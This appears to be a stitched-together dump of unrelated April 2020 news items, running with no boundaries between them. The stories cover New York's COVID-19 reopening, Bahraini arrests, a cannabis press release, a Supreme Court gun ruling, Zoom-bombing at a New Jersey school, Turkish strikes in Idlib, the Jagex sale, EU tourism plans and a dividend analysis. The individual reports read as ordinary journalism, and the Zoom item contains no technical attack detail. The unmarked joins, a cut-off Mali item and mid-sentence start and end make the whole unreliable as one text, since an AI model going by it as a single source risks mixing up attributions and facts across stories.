county's fines for noncompliance. Houston Mayor Sylvester Turner specified in a news conference later that day that individual establishments may require masks on their premises. With the coronavirus pandemic appearing to have passed its peak in New York, the gradual reopening of the epicenter of the national health crisis is starting to take shape. Gov. Andrew Cuomo on Tuesday outlined his most detailed plan for that reopening, starting with what he called lower risk businesses upstate getting back to work as early as mid May. 'We have to be smart about this,' Cuomo said Tuesday, adding that testing and infection rates and the availability of hospital beds must be at adequate levels. 'Again, I know ... people are feeling emotional. Emotions can't drive our reopening process.' This is what the reopening of New York State -- with more than 22,000 deaths and nearly 300,000 coronavirus cases -- could look like: Upstate manufacturing, construction industries first These sectors could get back to work in upstate regions sometime after May 15, when the 'New York State on Pause' stay-at-home order is supposed to lapse. Construction and manufacturing jobs represent lower exposure risks for workers. 'Those are two industries that employ a lot of people,' Cuomo said. 'We believe you can put the right precautions in place and learn the lessons from where we had been.' Businesses need to develop detailed reopening plans that address public health concerns. 'How you incorporate social distancing or fewer people into space so (to) reduce density?' the governor asked. 'How do you have the right (personal protective equipment) and how are you going to monitor? Are you taking temperatures of everyone who walks in? That's for businesses to decide.' Manufacturing and construction account for at least 46,000 jobs in the central part of the state alone. 'It is a major employer,' Cuomo said. 'These businesses can adopt to the new normal in terms of their employees and in terms of the processes they put in place. Cuomo said businesses considered 'more essential' with lower risks of infection to workers and customers will be a priority in the second phase. They would be followed by other industries considered 'less essential' -- those presenting a higher risk of infection spread. State officials will closely monitor data before each phase. Firms looking to reopen will be evaluated on 'how essential a service does that business provide and how risky is that business,' according to Cuomo. 'Remember we have gone through hell and back over the past 60 or so days,' Cuomo said. 'What New Yorkers have done has been to save lives. But we have to stay vigilant. This is not over.' Dr. David Katz, founder of the Yale-Griffin Prevention Research Center, agreed the preference for reopening is 'a risk-stratified return to the world, with the lowest risk groups in the vanguard.' 'There is still too much we don't know about this contagion to take anything for granted,' he said via email. 'We should verify every inference with empirical data. So, first out are those presumed to be at lowest risk -- good health, under age 50 -- and then others back in waves, once it is clear that severe infection rates are as low as projected.' Decision on school openings will be regional A decision about the reopening of schools in the state could come by the end of the week, according to Cuomo. It will be made in concert with the governments of New Jersey and Connecticut. Under consideration are whether schools reopen before the end of the current school year and what to do about summer school in districts that may want to make up for lost time, Cuomo told WAMC radio. President Donald Trump on Monday urged the nation's governors to 'seriously consider' reopening schools in the push to restart the economy, though many states have already recommended against resuming the school year. But this late in the school year, it's unlikely that many students will return to the classrooms in the immediate future. According to a CNN tally of school closures, 43 states as well as Washington, DC, have ordered or recommended that schools don't reopen this academic year. 'Does it pay to open schools up for a month or six weeks, or is it better to wait for the fall?' Katz asked. 'Are we thinking of running schools through the summer this year?' Children appear generally to be in the lowest risk group for coronavirus infection, Katz said. Seasonal flu appears far more dangerous for children. 'But there's more to it than that: what about the teachers? The administrators?' he asked via email. Parks and beaches are not in the immediate plans Parks, beaches and waterside attractions will only reopen when it's considered safe, Cuomo said. 'Density would be the problem,' he said, adding that decisions will be made in collaboration with neighboring states. Major attractions or businesses that would draw large numbers of people from outside the area will not immediately open. 'We can't open an attraction that might bring many people from outside the region and then overwhelm people in that region,' Cuomo said. 'You have a lot of pent-up demand. We have seen this before, where -- when we're not coordinated -- we have New York people going to Connecticut because Connecticut has parks or water slide access that's open.' A so-called 'regional control' of neighboring states A 'regional control room' consisting of state health officials would monitor the reopening. It will guided by information such as hospital capacity and infection rates. Hospital capacity must be under 70 percent. Areas must show two-week declines in coronavirus cases. Any red flags raised by regional monitors would activate a 'danger button so you can actually slow down the reopening,' Cuomo said, who spoke Tuesday as the number of cases, hospitalizations and intubations decline statewide. 'Some regions upstate have a problem that's comparable with parts of the Midwest,' Cuomo said. 'Much less than New York City.' Testing, tracing and isolating those exposed will key in the reopening. 'The current recommendation is (that) you need at least 30 tracers per 100,000 people,' the governor said. 'We have to have isolation facilities in place.' Katz said the lack of data representative of the overall US population leaves many questions. 'The more we know, the more reliably we can achieve the goal of total harm minimization: the reduction of health and life lost both to the virus, and to societal collapse, to the irreducible minimum,' he said. 'We should proceed in stages because that enables us to adjust and refine, even as we make progress toward normalcy.' TDT | Manama The Ministry of Interior announced yesterday the arrest of a group of suspects who were seen in a video impersonating police officers. In the video, which circulated on social media, the group of individuals, aged between 20 and 23, impersonated police personnel and broke into a labor camp pretending that they were searching for a lost mobile phone. They said that they were using a detection app. The General Directorate of Criminal Investigation and Forensic Science said that an investigation into the case led to identifying and the suspects, who were then arrested. Legal proceedings are being taken to refer the case to the Public Prosecution. In another case, the Criminal Investigation and Forensic Science director-general announced the arrest of a Bahraini who pretended to be influential and who threaten a Gulf national when refusing his demands. An investigation into the received cases led to identifying and arresting the Bahraini. Legal proceedings were taken to refer the case to the Public Prosecution. Bamako, Mali (PANA) - Members of the Covid-19 Scientific Committee, set up in Mali since the discovery on March 25 of the first two cases, have reiterated their proposal to isolate the cities of Bamako and Kayes (West)) where the majority of people infected with coronavirus in Mali are concentrated Our Girl's fourth series came to an emotional end on Thursday night, as the final episode starring Michelle Keegan as Georgie Lane aired on BBC One. And fans were seen rejoicing in their droves on Twitter, as the star's character seemed to finally get the happy ending she deserved, with the show teasing a romance between Georgie and new soldier Prof. Following the show airing, fans were delighted to see the army medic finally coming to terms with the death of her fiance Elvis Hart and looking forward to the future, while actress Michelle said a final goodbye to the 'special' series. At last! Fans were delighted to see Georgie Lane finally get her happy ending with new soldier Prof, as season four of Our Girl came to a close on Thursday night Series four had been following Georgie's return to Kabul, Afghanistan with 2 Section, the same place where her fiance Elvis had died on a previous tour, and her struggling to deal with her grief. But, while her previous romances with Elvis and Captain James, who Georgie had fallen for in series three, didn't work out, viewers were hopeful that her blossoming romance with Prof will. Taking to Twitter, after the closing scenes of the episode teased at Georgie and Prof getting together, fans confessed that they were feeling emotional while praising Michelle for her portrayal of Georgie. One fan wrote: 'As much as I want to cry right now, I'm so happy we had Michelle as our Georgie. She did such an amazing job. Gutted we won't see her next season, but we got Prof and Georgie together so can't all be bad, just sad that we won't see this relationship grow #OurGirl.' 'It's special': Michelle Keegan was also seen bidding a final goodbye to Our Girl on Instagram, following the final episode airing 'Georgie is finally happy!' Fans were delighted to see the army medic finally get closure as they took to Twitter in their droves to comment on season four's ending Others commented: '#OurGirl what a season finale I'm still shaking it was so amazing, I'm getting emotional omg. I'm so happy that Georgie and the rest of the group got a happy ending. Michelle Keegan has done an INCREDIBLE job as Georgie and I will miss her so much. 'How was that the end of #OurGirl @michkeegan is there a happy ending for Prof and Georgie? 'Once again @michkeegan excelled herself as Georgie Lane in this series. Fantastic actress and pleased she got the happy ending she deserves. 'I honestly loved how Our Girl ended. Georgie is finally happy and BABY FINGERS I can't.' Incredible job: Viewers praised Michelle's portrayal of Georgie on the show over the years Going into the final episode, Georgie had come face to face with warlord Aatan Omar, who had lured Elvis into the trap that killed him, only to find out that the man they thought was Omar wasn't actually him. Rabee was in fact the warlord posing as a solider in the Afghanistan army and as he attempted to shoot Georgie in tense scenes, Prof jumped in front of her to save her life. Georgie was able to shoot Rabee/Omar and bring him to justice and in the closing scenes, the episode teased a blossoming romance between her and Prof, who had become close while serving on tour together. In the final scenes, Prof opened up to Georgie about his Grandmother dying on Christmas Eve, while she was seeing removing her engagement ring from Elvis and tying it to the end of a kite they released together into the sunset. Moving on: Romance was teased between Georgie and Prof, after the pair teamed up to bring down warlord Aatan Omar after discovering his real identity You're Omar: Rabee, who had been posing as a solider in the Afghanistan army was uncovered as the man behind the death of Georgie's fiance Elvis Hart Georgie was then heard asking Prof if he was going to take her for a drink when they both returned to Manchester. Addressing Georgie finally getting the 'closure' she needed, Michelle shared a snap of her going over her lines on set to Instagram and told fans: 'Georgie got the closure she so desperately needed... All is well in the world #ourgirl #georgielane.' She was also seen bidding goodbye to Our Girl by sharing a video of her time on the show over the last few years. Michelle has been the lead role in the BBC series for the last four seasons (the third was broken into two parts) and had travelled to the likes of South Africa, Nepal and Malaysia to film for the show. Saying goodbye: Georgie was seen removing her engagement ring from Elvis from her neck and attaching it to a kite, after bringing Omar to justice Sharing behind-the-scenes footage with fans as a montage of her experience, Michelle wrote: 'Stand down soldier... your mission is done 'I wanted to share a little video of the journey that Ive been on for the past 4 years. 'Our Girl wasnt just an acting job for me, it was special, the experience helped me grow not just as an actor but as a person. I was able to travel the world with friends I met along the way and experience things I could only of dreamt of growing up. 'Thank you to all the cast, the crew and production team for the memories that will stay with me forever. Finally, thank you to the fans of the show for investing your time in to this amazing project, watching and staying with us from start to finish. I am so very grateful xxx' Michelle revealed prior to the fourth series airing that she would be quitting Our Girl to focus on 'different roles' away from the show. Vancouver, British Columbia--(Newsfile Corp. - April 28, 2020) -The Yield Growth Corp. (CSE: BOSS) (OTCQB: BOSQF) (FSE: YG3) ("Yield Growth") announces its wholly owned subsidiary Jack n Jane Essentials Inc. signed a definitive agreement on April 27, 2020 with licensed producer Argentia Gold Corporation ("Argentia"), for the manufacture and distribution of Jack n Jane branded cannabis products in Canada. Figure 1: Yield Growth Signs Definitive Agreement with LP Argentia Gold to Manufacture Jack n Jane Cannabis Products in Canada To view an enhanced version of Figure 1: please visit: https://orders.newsfilecorp.com/files/6377/54986_y2.jpg The agreement includes 35 products to be launched over a 2-year term, including similar products that have been previously launched by Yield Growth subsidiary and cannabis wellness brand Wright & Well, in Oregon, U.S. Yield Growth has developed the cannabis brand Jack n Jane especially for the Canadian market, with dozens of cannabis 2.0 products planned using proprietary formulas from Yield Growth's extensive catalogue. The agreement states the parties will work towards an initial summer 2020 launch with THC-infused topical balm, gel, massage oil and THC and CBD tinctures, as seen in the Wright & Well collection. THC pre-rolls, live resin and gummies are planned for launch in late 2020 and THC-infused mints and chocolates, as well as CBD skin care products are planned to launch in 2021. Cannabis-infused beverages, teas, capsules and intimacy products are planned to follow. The formulas for the 35 products in the line come from Yield Growth's extensive formula library. These formulas are all natural, plant-based, and developed with Ayurvedic principles. The topical products contain Yield Growth's proprietary hemp root oil, made using Yield Growth's proprietary and patent-pending extraction technology. Argentia Gold expects to fulfill the licensing requirements to sell cannabis products in 3 provinces next month, with plans underway to obtain sales licenses in 7 more provinces this year. "We are extremely excited to be embarking on this new initiative. Argentia Gold has the cannabis cultivation and processing licenses to enable us to launch our Jack n Jane products in Canada. The execution of this agreement marks the culmination of years of work by our product development, branding, legal and marketing teams," says Penny White, Yield Growth co-founder and CEO. "After launching 20 cannabis and personal care products in the past 16 months, while developing a diverse range of brands, we have gained the expertise to launch a range of cannabis 2.0 products into the Canadian market over the next 2 years." "Our partnership with Yield Growth delivers a line of products that greatly expands our offerings and further positions Argentia Gold as a leader in this newly emerging market of beverages, edibles and topicals," says Dave Thomson, Argentia Gold President. "Argentia Gold's expertise in the cannabis and consumer packaged goods sectors will allow Yield Growth to successfully enter the infused market and paves the way for the two companies to potentially become major players in cannabis 2.0 in Canada." Under the agreement, Jack n Jane will provide non-cannabis raw materials, bulk product, product formulation information, product development, marketing, packaging and labels, and sales support. Argentia's obligations are to provide cannabis ingredients, manufacturing services, ensure regulatory compliance, and distribute the products throughout Canada. The term of the agreement is 2 years, and the parties agree to equally split the profits after costs recoupment. Yield Growth retains all intellectual property in its Jack n Jane brand and formulations. This is not a related party transaction and no finders fees are payable for this agreement. Yield Growth already has the required child-resistant packaging and bulk product ready for cannabis infusion for the initial product launch. Products must be registered and approved by Health Canada before manufacturing begins, and then the products need to be registered in each province for online sales and sales through dispensary retail stores throughout Canada prior to sale. According to estimates by Deloitte, Canadian cannabis topicals and edibles (Cannabis 2.0) could be worth CAD $2.7 billion annually. The global legal marijuana market size is expected to reach USD $73.6 billion by 2027, according to a new report published by Grand View Research, Inc. About Argentia Gold Corporation Argentia Gold Corporation is a Canadian vertically integrated licensed producer authorized to cultivate and process cannabis under the Cannabis Act. Its facility, a former U.S. naval base turned industrial park on the deep-water Port of Argentia, encompasses 80,000 square feet on 10 acres of land, and they are currently using 14,000 square feet with lots of room to grow. Argentia Gold presents a unique opportunity for manufacturers who want to get in on the ground floor of a developing market, with planned affiliated retail stores. About The Yield Growth Corp. The Yield Growth Corp. is a consumer packaged goods company that develops and acquires intellectual property and other assets related to plant-based products and therapeutics, and develops, manufactures, markets, sells and distributes plant-based products that improve lives. It has over 200 proprietary wellness formulas at various stages of commercialization. Its products are sold through e-commerce worldwide and retail stores in 3 countries with distribution agreements in place for 12 more countries. It has 14 patent applications filed in what the Global Wellness Institute reports is a $4.2 trillion-dollar global wellness market. It owns the plant-based skin care brand Urban Juve, which is currently launching a line of hand care products, and it owns wellness brands Wright & Well and Jack n Jane. Its majority owned subsidiary NeonMind Biosciences Inc. is launching a line of medicinal mushroom products and is developing intellectual property in the emerging area of psychedelic medicine. The Yield Growth management team has deep experience with global brands including Johnson & Johnson, Procter & Gamble, Skechers and Aritzia. For more information about Yield Growth, visit www.yieldgrowth.com or follow @yieldgrowth on Instagram. Visit www.urbanjuve.com and findyourjuve across social platforms to learn, engage and shop. Investor Relations Contacts: Penny White, President & CEO Kevan Matheson, Investor Relations invest@yieldgrowth.com 1-833-514-BOSS 1-833-514-2677 1-833-515-BOSS 1-833-515-2677 The Canadian Securities Exchange has not reviewed, approved or disapproved the contents of this news release. Cautionary Statement Regarding Forward-Looking Statements This press release includes forward-looking information and statements (collectively, "forward looking statements") under applicable Canadian securities legislation. Forward-looking statements are necessarily based upon a number of estimates, forecasts, beliefs and assumptions that, while considered reasonable, are subject to known and unknown risks, uncertainties, and other factors which may cause actual results and future events to differ materially from those expressed or implied by such forward-looking statements. Such risks, uncertainties and factors include, but are not limited to: risks related to the development, testing, licensing, brand development, availability of packaging, intellectual property protection, reduced global commerce and reduced access to raw materials and other supplies do to the spread of the Coronavirus, the potential for not acquiring any rights as a result of the patent application and any products making use of the intellectual property may be ineffective or the company may be unsuccessful in commercializing them; and other approvals will be required before commercial exploitation of the intellectual property can happen. The laws around cultivating, selling and using psychedelic mushrooms would need to change in most jurisdictions in order for the use of psychedelic products to be legal and sale of, and demand for, Urban Juve, Wright & Well, NeonMind and Jack n Jane products, general business, economic, competitive, political and social uncertainties, delay or failure to receive board or regulatory approvals where applicable, and the state of the capital markets. Yield Growth cautions readers not to place undue reliance on forward-looking statements provided by Yield Growth, as such forward-looking statements are not a guarantee of future results or performance and actual results may differ materially. The forward-looking statements contained in this press release are made as of the date of this press release, and Yield Growth expressly disclaims any obligation to update or alter statements containing any forward-looking information, or the factors or assumptions underlying them, whether as a result of new information, future events or otherwise, except as required by law. To view the source version of this press release, please visit https://www.newsfilecorp.com/release/54986 Washington The Supreme Court said Monday that it would not decide what would have been its first decision on the scope of the Second Amendment in almost a decade, finding that New York City's repeal of the gun control regulation under challenge had made the matter moot. When the court agreed to hear the case, the possibility of such a ruling alarmed gun control proponents, who urged New York City officials to repeal the regulation. The city did so, and state lawmakers later enacted a law that seemed to make it impossible for city officials to change their minds. James E. Johnson, New York City's corporation counsel, said the court's ruling was "just right." "The court properly recognized that the only claims the petitioners ever brought no longer present a live case, because the challenged city rule no longer exists," Johnson said in a statement. "The question is, in a word, moot." The majority opinion was unsigned and just two pages long. Justice Samuel Alito, joined by Justice Neil Gorsuch and, for the most part, Justice Clarence Thomas, issued a 31-page dissent. It said that the case was not moot and that the regulation flatly violated the court's Second Amendment precedents. But the court is very likely to agree to hear a new Second Amendment case soon. It takes four votes to add a case to the court's docket, and Justice Brett Kavanaugh, in a concurring opinion, indicated that he was ready to join the three dissenting justices in voting to grant review in one of what he said were "several Second Amendment cases with petitions" awaiting action from the court. Kavanaugh wrote that he agreed with Alito that lower courts may not be properly applying the Supreme Court's Second Amendment precedents. "The court should address that issue soon," he wrote. The New York City regulation, which appeared to be unique in the nation, had allowed residents with so-called premises licenses to take their guns to one of seven shooting ranges in the city. But it prohibited them from taking their guns to second homes and shooting ranges outside the city, even when the guns were unloaded and locked in containers separate from ammunition. The Supreme Court seemed unlikely to uphold the law and its decision in the case would have given it an opportunity to elaborate on the scope of Second Amendment rights. In a quest to strengthen Indo-French relations through cultural exchange, Serendipity Arts Foundation and Les Rencontres d'Arles (an annual summer photography festival in France) have announced the largest ever photography, video and new media grant worth Rs 12 lakh. The Serendipity Arles Grant, supported by the Embassy of France in India, is aimed at promoting cultural practices in South Asia, the Serendipity Arts Foundation said in a statement. "It will support lens-based practitioners from South Asian countries, including Afghanistan, Bangladesh, Bhutan, India, Myanmar, Nepal, Pakistan and Sri Lanka. The initiative seeks not only to empower artists from the region, but also further a spirit of regional cooperation and representation," they said. The open call for entries had begun from April 20 and will continue till July 7. "The foundation has supported the arts and artists of South Asia through residency programmes and grants. The collaboration with Rencontres d'Arles will strengthen our resolve to back and support artists from the region and help promote their work on a global platform," Sunil Kant Munjal, Founder Patron, Serendipity Arts Foundation, said. The largest of its kind, the grant will be awarded in two stages. Upon receipt of applications for the grant within this deadline, a distinguished jury comprising artists, authors, and eminent personalities from diverse artistic domains will review the proposals and shortlist 10 artists, who will each receive a grant of Rs 70,000, alongside an opportunity to showcase their work at the upcoming edition of the Serendipity Arts Festival, scheduled to take place later in the year in Goa. Finally, at the festival the same jury will unanimously declare the finalist, who would then receive a grant of Rs 12 lakh to develop the project and show the final presentation at Rencontres d'Arles, France, in 2022. "Today our festival would like to acknowledge that India and the South Asia region have become a breeding ground of creation. Each year, 10 young photographers and a winner will be selected, funded and their work exhibited, strengthening the ties between our countries and, especially, shining a spotlight on the artists," Sam Stourdz, Director, Rencontres d'Arles, said. Welcoming the grant, Emmanuel Lenain, Ambassador of France to India, said the grant will be a "powerful testament to the vitality of Indo-French cultural relations." "Art and culture are at the core of the relationship between India and France. In these difficult times, I applaud these two key contributors for enriching the cultural landscapes of their respective countries through this long term collaboration. "The Serendipity Arles Grant will make it possible to exhibit the works of one young artist of the region every year at the Rencontres d'Arles, a foremost photo festival of international repute," he said. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) A hacker showed inappropriate content during a New Jersey schools class being conducted on Zoom, the online video conferencing service that has soared in popularity during online learning due to the coronavirus pandemic. The district, Lumberton Township Public Schools in Burlington County, will halt using Zoom while they investigate, the district said Monday. In a letter sent to the school community, Superintendent of Schools Joe Langowski said a hacker gained access to a Lumberton Middle School session. Once inside the Zoom meeting, the hacker then proceeded to show pornographic images and used racist language. The incident was estimated to have lasted for 15 seconds, he wrote. Langowski said a teacher and co-host who were monitoring the meetings waiting room ended the hackers session immediately and notified members of the school districts administration. We have worked tirelessly to develop a superior educational experience for the children of Lumberton in these most difficult times, but as always, the safety of our children is paramount, Langowski wrote. Therefore, we will be suspending the use of Zoom temporarily while we determine if it can continue to be used safely for our students. The Lumberton Township Police Department has initiated an investigation, and the districts technology department is investigating what led to the intrusion and how the person was able to bypass security measures that were in place. The Federal Bureau of Investigation (FBI) had previously issued a warning about hackers who were trying to gain access to Zoom meetings, which is called Zoom bombing. The company, in a statement, said upset to hear about such an incident and condemns such behavior. They recently updated several features to help users of the K-12 program, and the Free Basic and Single Pro versions more easily protect their meetings, a Zoom spokesperson said. Chris Franklin may be reached at cfranklin@njadvancemedia.com. More: How to disinfect your phone properly and keep it clean Comcast extending free Wi-Fi hotspots, other special offers into the summer In-person graduation events likely wont be in the cards for the Class of 2020, Pa. Health secretary says In retaliation to a missile attack that hit Turkish tanks, Turkey has conducted a drone strike against Hayat Tahrir al-Sham, killing some of their fighters reports Zaman Al-Wasl. Turkish drones bombed Hayat Tahrir al-Sham positions in northern Idleb province, killing three fighters, military sources told Zaman Al-Wasl on Sunday. The rare move was in retaliation to a missile attack by the former al-Qaeda group that hit Turkish tanks near the town of al-Nayrab. Turkish media accounts have accused Tahrir al-Sham of carrying out a series of provocative acts against the Turkish military presence in northern Syria, the main stronghold of the jihadist group. Opposition activists have condemned the assault by Tahrir al-Sham, saying Abu Mohammad al-Jolani, head of the group, does not want a long-term ceasefire in northern Syria that includes clearing the areas of militant groups. The elimination of Tahrir al-Sham by Turkey will garner an international consensus, especially by the US and Russia. Early Sunday, Turkish forces fired live bullets and tear gas on tens of protesters who were blocking the M4 highway near the town of al-Nayrab. Three people were killed, including two policemen in the Salvation Government, a local governing body affiliated to Hayat Tahrir al-Sham. The protesters, who stoned the Turkish tanks, are opposing joint Turkish-Russian patrols and have been trying to block the strategic highway over the past few weeks. Turkish and Russian forces carried out the fifth joint patrol along a strategic M4 highway last Tuesday. The M4 highway, also known as the Aleppo-Lattakia road, is about 30 kilometers (19 miles) from Turkeys southern border. Last month, Ankara and Moscow agreed on a protocol urging parties to, cease all military actions along the line of contact in the Idleb de-escalation area starting Mar. 6, 2020, according to Anadolu Agency. Idleb province is home to 3.5 million civilians, according to the United Nations. Since the ceasefire agreed between Russia and Turkey on Mar. 5, 2020, the lowest death toll ever was recorded in Syria in nine years. Also, more than 130,000 displaced people have been returned home, the Syrian Response Coordinators Team said. Last week, Bashar al-Assad condemned the, ongoing encroachments by Turkey on the sovereignty and territory of Syria, in the countrys north where Ankara has deployed troops, set up military posts and backed rebels battling the regime, AFP reported. The nine-year-old conflict has killed more than 390,000 people and displaced 7 million. This article was edited by The Syrian Observer. The Syrian Observer has not verified the content of this story. Responsibility for the information and views set out in this article lies entirely with the author. Runescape developer-publisher Jagex has been acquired by global asset management company Macarthur Fortune Holding for $530 million. The UK studio was previously owned by Shanghai Hongtou Network Technology, which was a subsidiary of Chinese venture capital outfit Fukong Interactive. Now, both Jagex and Hongtou Network have been purchased by Macarthur through a fund called Platinum Fortune LP. Fukong previously purchased Jagex for $230 million back in 2016, so the deal looks to be a good return on that investment. The sale was heavily rumored in July 2019, with Chinese publication Yicai Global even reporting details of a $530 million deal. At the time, Jagex said a sale was one of "various possible outcomes," but the deal has finally come to fruition. Commenting on the news in a press release, Jagex chief exec Phil Mansell said the studio will continue working to deliver "great experiences" to Runescape players with the backing of Macarthur. Macarthur, meanwhile said it hopes to add value to Jagex through strategically investing in R&D and marketing to bring new players to the Runescape franchise. For thousands of Manzini residents and those from elsewhere seeking to get there, yesterday is probably one day they would quickly want to forget. Anger, frustration, confusion and endless delays characterised what resembled a near total lockdown. It was a very close look and feel of a real lockdown that many citizens across the globe have to endure, as they give their governments an opportunity to do what they must to stem the tide of the novel coronavirus outbreak that is wreaking havoc on peoples lives and livelihoods. Locally, we appear apathetic to the national call as witnessed by our social visits, gatherings and loafing around town. This, regrettably, is part of the behaviour that has invited stern restrictions on movement in and out of the Manzini Region which has now been declared the COVID-19 epicentre. The three other regions could soon follow suit; a move we simply cannot afford. Economists have sternly warned that prolonged lockdowns would have a devastating effect on world economies, particularly those of developing countries. A recent African Union (AU) study has estimated a 20 million jobs loss in Africa by the end of the year if economic activity is not reactivated in the next few months. Unemployment is anticipated to rise above 50 per cent in many African countries that cannot fork out relief funds to enable businesses to retain their employees during this crisis. It has also been advised that unless governments provide food relief, hunger will drive people back on the streets. This calls for our government to expedite the promised food parcels to the most vulnerable while engaging in mass screening and testing to get to grips with the reality of the outbreak throughout the country. The screening at the roadblocks yesterday was a good start. Ultimately, the success of the entire exercise rests with the peoples choice: to obey the lockdown directives or defy them. If we choose the latter option, then we choose extended lockdowns, massive job losses and an unprecedented loss of peoples lives. European travel chiefs are calling for the creation of 'tourism corridors' so holiday resorts can re-open in time for summer. Ministers from nine countries, including France, Italy, Greece and Spain, wrote to European Union chiefs on Tuesday warning the industry faces collapse if special measures are not rolled out soon. Ideas under discussion include an EU-wide set of rules and protocols for tourist arrivals and departures which one minister described as a 'Covid-19 passport.' A so-called tourism corridor would feature strict social distancing rules and testing programmes, allowing any infection outbreaks to be contained. European travel chiefs are calling for the creation of 'tourism corridors' so holiday resorts can re-open in time for summer. Pictured: The Cote d'Azur in France Several EU countries are mulling how to allow holiday resorts to reopen, but want Brussels to draw up a bloc-wide blueprint in a bid to avoid a chaotic patchwork of bi-lateral agreements creating confusion for travellers. The call last night boosted hopes that Britons may still be able to book breaks to popular destinations on the continent this summer. Malta's tourism minister, Julia Farrugia Portelli, called for 'safe corridors between territories and regions', which could include 'clear new protocols on flying, accommodating, interacting, dining and visiting'. She added: 'We need to commit ourselves to reopening as soon as possible. There are risks, but we need to manage risks. 'Too much is at stake to simply lie inactive, until relief arrives, in the form of a [coronavirus] vaccine. We cannot go down that road.' It is understood the measures could include passengers being subject to temperature checks and pre-flight blood tests. But Brussels is unlikely to unveil any concrete plans before next week. It is unclear whether some countries could be exlcuded if it is felt their coronavirus situation is not under control. In their joint letter, EU ministers called for the bloc to ensure credit lines are available to airlines to keep flights airborne as restrictions ease. 'We must facilitate access to liquidity to airlines,' they wrote. During a videoconference of EU tourism ministers on Monday, Croatia's minister, Gari Cappelli, said 'something in the form of a COVID-19 passport' valid in all member states could be created. Ministers from nine countries, including France, Italy, Greece and Spain, wrote to European Union chiefs yesterday warning the industry faces collapse if special measures are not rolled out soon. Pictured: A beach in Palma, Majorca Greece's tourism minister, Harry Theoharis, said: 'We have to have new rules for hotels, new rules for beaches, new rules for pools, new rules for breakfast buffets, new rules for tour buses.' Yesterday Austria's tourism minister announced hotels will be allowed to re-open from May 29, along with swimming pools. Although Britain left the EU on January 31, any new travel rules could include the UK because it remains in the single market until the Brexit transition period expires at the end of this year. European Commission chief Ursula von der Leyen raised hopes for the industry earlier this month by saying that 'smart solutions to have a summer vacation' may yet be found. This could include sunbathing in big plexiglass boxes set up on beaches to ensure sun-seekers are isolated from each other. Tourism accounts for around 10 per cent of the bloc's GDP and employs around 22.6 million people - more than 11 per cent of total employment. However, the OECD estimates the sector could see a 70 per cent decline this year. A European Commission spokesman yesterday said: 'We will be coming forward with guidelines on how to increase connectivity in the European Union, lift border control measures and ensure freedom of movement.' When asked if this was intended for this summer, the spokesman quipped: 'Well I very well hope so because I have the firm intention of going on holiday at some stage as I'm sure you have, so yes we're working towards this year, not next year.' Is Shanghai Industrial Holdings Limited (HKG:363) a good dividend stock? How can we tell? Dividend paying companies with growing earnings can be highly rewarding in the long term. Unfortunately, it's common for investors to be enticed in by the seemingly attractive yield, and lose money when the company has to cut its dividend payments. With Shanghai Industrial Holdings yielding 4.1% and having paid a dividend for over 10 years, many investors likely find the company quite interesting. We'd guess that plenty of investors have purchased it for the income. Some simple research can reduce the risk of buying Shanghai Industrial Holdings for its dividend - read on to learn more. Click the interactive chart for our full dividend analysis SEHK:363 Historical Dividend Yield April 28th 2020 Payout ratios Companies (usually) pay dividends out of their earnings. If a company is paying more than it earns, the dividend might have to be cut. As a result, we should always investigate whether a company can afford its dividend, measured as a percentage of a company's net income after tax. Looking at the data, we can see that 17% of Shanghai Industrial Holdings's profits were paid out as dividends in the last 12 months. With a low payout ratio, it looks like the dividend is comprehensively covered by earnings. Another important check we do is to see if the free cash flow generated is sufficient to pay the dividend. Shanghai Industrial Holdings paid out 15% of its free cash flow as dividends last year, which is conservative and suggests the dividend is sustainable. It's positive to see that Shanghai Industrial Holdings's dividend is covered by both profits and cash flow, since this is generally a sign that the dividend is sustainable, and a lower payout ratio usually suggests a greater margin of safety before the dividend gets cut. Is Shanghai Industrial Holdings's Balance Sheet Risky? As Shanghai Industrial Holdings has a meaningful amount of debt, we need to check its balance sheet to see if the company might have debt risks. A quick check of its financial situation can be done with two ratios: net debt divided by EBITDA (earnings before interest, tax, depreciation and amortisation), and net interest cover. Net debt to EBITDA is a measure of a company's total debt. Net interest cover measures the ability to meet interest payments. Essentially we check that a) the company does not have too much debt, and b) that it can afford to pay the interest. With net debt of 2.42 times its EBITDA, Shanghai Industrial Holdings's debt burden is within a normal range for most listed companies. Story continues We calculated its interest cover by measuring its earnings before interest and tax (EBIT), and dividing this by the company's net interest expense. Net interest cover of 7.05 times its interest expense appears reasonable for Shanghai Industrial Holdings, although we're conscious that even high interest cover doesn't make a company bulletproof. We update our data on Shanghai Industrial Holdings every 24 hours, so you can always get our latest analysis of its financial health, here. Dividend Volatility Before buying a stock for its income, we want to see if the dividends have been stable in the past, and if the company has a track record of maintaining its dividend. For the purpose of this article, we only scrutinise the last decade of Shanghai Industrial Holdings's dividend payments. Its dividend payments have declined on at least one occasion over the past ten years. During the past ten-year period, the first annual payment was HK$0.84 in 2010, compared to HK$0.52 last year. This works out to be a decline of approximately 4.7% per year over that time. Shanghai Industrial Holdings's dividend has been cut sharply at least once, so it hasn't fallen by 4.7% every year, but this is a decent approximation of the long term change. A shrinking dividend over a ten-year period is not ideal, and we'd be concerned about investing in a dividend stock that lacks a solid record of growing dividends per share. Dividend Growth Potential With a relatively unstable dividend, it's even more important to see if earnings per share (EPS) are growing. Why take the risk of a dividend getting cut, unless there's a good chance of bigger dividends in future? While there may be fluctuations in the past , Shanghai Industrial Holdings's earnings per share have basically not grown from where they were five years ago. Over the long term, steady earnings per share is a risk as the value of the dividends can be reduced by inflation. As we saw above, earnings per share growth has not been strong. However, at least the payout ratio is conservative, and there is plenty of potential to increase this over time. Conclusion Dividend investors should always want to know if a) a company's dividends are affordable, b) if there is a track record of consistent payments, and c) if the dividend is capable of growing. First, we like that the company's dividend payments appear well covered, although the retained capital also needs to be effectively reinvested. Second, earnings have been essentially flat, and its history of dividend payments is chequered - having cut its dividend at least once in the past. Shanghai Industrial Holdings has a number of positive attributes, but it falls slightly short of our (admittedly high) standards. Were there evidence of a strong moat or an attractive valuation, it could still be well worth a look. Companies possessing a stable dividend policy will likely enjoy greater investor interest than those suffering from a more inconsistent approach. However, there are other things to consider for investors when analysing stock performance. Just as an example, we've come accross 2 warning signs for Shanghai Industrial Holdings you should be aware of, and 1 of them is a bit unpleasant. We have also put together a list of global stocks with a market capitalisation above $1bn and yielding more 3%. If you spot an error that warrants correction, please contact the editor at editorial-team@simplywallst.com. This article by Simply Wall St is general in nature. It does not constitute a recommendation to buy or sell any stock, and does not take account of your objectives, or your financial situation. Simply Wall St has no position in the stocks mentioned. We aim to bring you long-term focused research analysis driven by fundamental data. Note that our analysis may not factor in the latest 